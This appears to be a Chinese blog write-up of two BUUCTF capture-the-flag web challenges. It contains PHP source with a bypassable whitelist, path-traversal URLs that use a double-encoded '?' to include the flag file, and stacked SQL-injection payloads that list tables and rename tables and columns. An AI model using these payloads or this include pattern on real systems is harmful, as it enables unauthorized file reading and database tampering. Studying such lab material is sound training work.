0x01 [HCTF 2018]WarmUp
参考链接:https://blog.youkuaiyun.com/zouchengzhi1021/article/details/104173137
打开源码,发现source.php字样,添加在后面,然后就看见了php代码。如下:
<?php
highlight_file(__FILE__);//highlight_file() 函数对文件进行语法高亮显示。
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
//isset() -- 检测变量是否设置,并且不是 NULL。
//is_string() — 检测变量是否是字符串。
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
//in_array() 函数搜索数组中是否存在指定的值。返回true或者flase
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);//截取0到'?'前面的字符串
//mb_substr($str,start,length):在str中从start开始截取长度为length的中文字符串(起始位置为0)
//mb_strpos() — 查找字符串在另一个字符串中首次出现的位置
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);//urldecode() — 解码已编码的 URL 字符串
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
//$_REQUEST — HTTP Request 变量
//默认情况下包含了 $_GET,$_POST 和 $_COOKIE 的数组。
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
)
{
include $_REQUEST['file'];
exit;
}
else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
从源码中我们可以发现:
- 1、可以访问source.php和hint.php文件(如下图,flag四个字符重复了四次)
- 2、在函数checkfile()中,我们可以发现四个 if 语句。第一个是检测 $_page 的值是否为空,后面的均是检测 $whitelist 是否在 $_page里面。
//$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//关联数组:类似于键值
if (in_array($_page, $whitelist)) {
return true;
}
- 3、截取$_page从0到?之前的字符串
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);//截取0到'?'前面的字符串
- 4、flag需要满足的条件:主要在于满足 emmm::checkFile($_REQUEST[‘file’])
//$_REQUEST — HTTP Request 变量
//默认情况下包含了 $_GET,$_POST 和 $_COOKIE 的数组。
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
)
{
include $_REQUEST['file'];
exit;
}
REQUEST利用 …/ 跳转目录读取 flag,可以一次一次 …/ 尝试,我发现ffffllllaaaagggg都为四个,所以可能四次跳转,直接尝试。
http://c05ffe15-d87d-44ac-abb1-187b9e8a19da.node3.buuoj.cn/source.php?file=hint.php?/../../../../ffffllllaaaagggg
或者;
http://c05ffe15-d87d-44ac-abb1-187b9e8a19da.node3.buuoj.cn/source.php?file=hint.php%253f/../../../../ffffllllaaaagggg
问号’?‘两次编码值为’%253f’。
先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为’?’,仍可通过第四个if语句校验。(’?‘两次编码值为’%253f’),
0x02 [强网杯 2019]随便注
参考链接:https://www.cnblogs.com/peri0d/p/12123814.html
这道题,涨知识了,第一次知道原来可以直接使用show()进行显示的。
http://e43f3155-6442-4b72-8d99-99ba63e5e8f1.node3.buuoj.cn/
?inject=1'%23 //返回正常,单引号闭合,字符型注入
?inject=1';show databases;%23 //显示所有的数据库
?inject=1';show tables;%23 //显示所有的表格
?inject=1';show columns from `1919810931114514`;%23
?inject=1';show columns from `words`;%23
//构造payload
?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;%23
//获取flag
/?inject=1' or '1'='1
?inject=1’%23 //返回正常,单引号闭合,字符型注入
?inject=1’;show databases;%23 //显示所有的数据库
?inject=1’;show tables;%23 //显示所有的表格
?inject=1’;show columns from 1919810931114514
;%23
?inject=1’;show columns from words
;%23
既然没过滤 alert 和 rename,那就可以把表和列改名。先把 words 改为 words1,再把数字表改为 words,然后把新的 words 表里的 flag 列改为 id ,这样就可以直接查询 flag 了
//构造payload
?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;%23
使用 /?inject=1’ or ‘1’='1 访问一下即可获得 flag
2020/0509 每日一剂
只要你愿意,并为之坚持,总有一天,你会活成自己喜欢的模样。
-----from my PC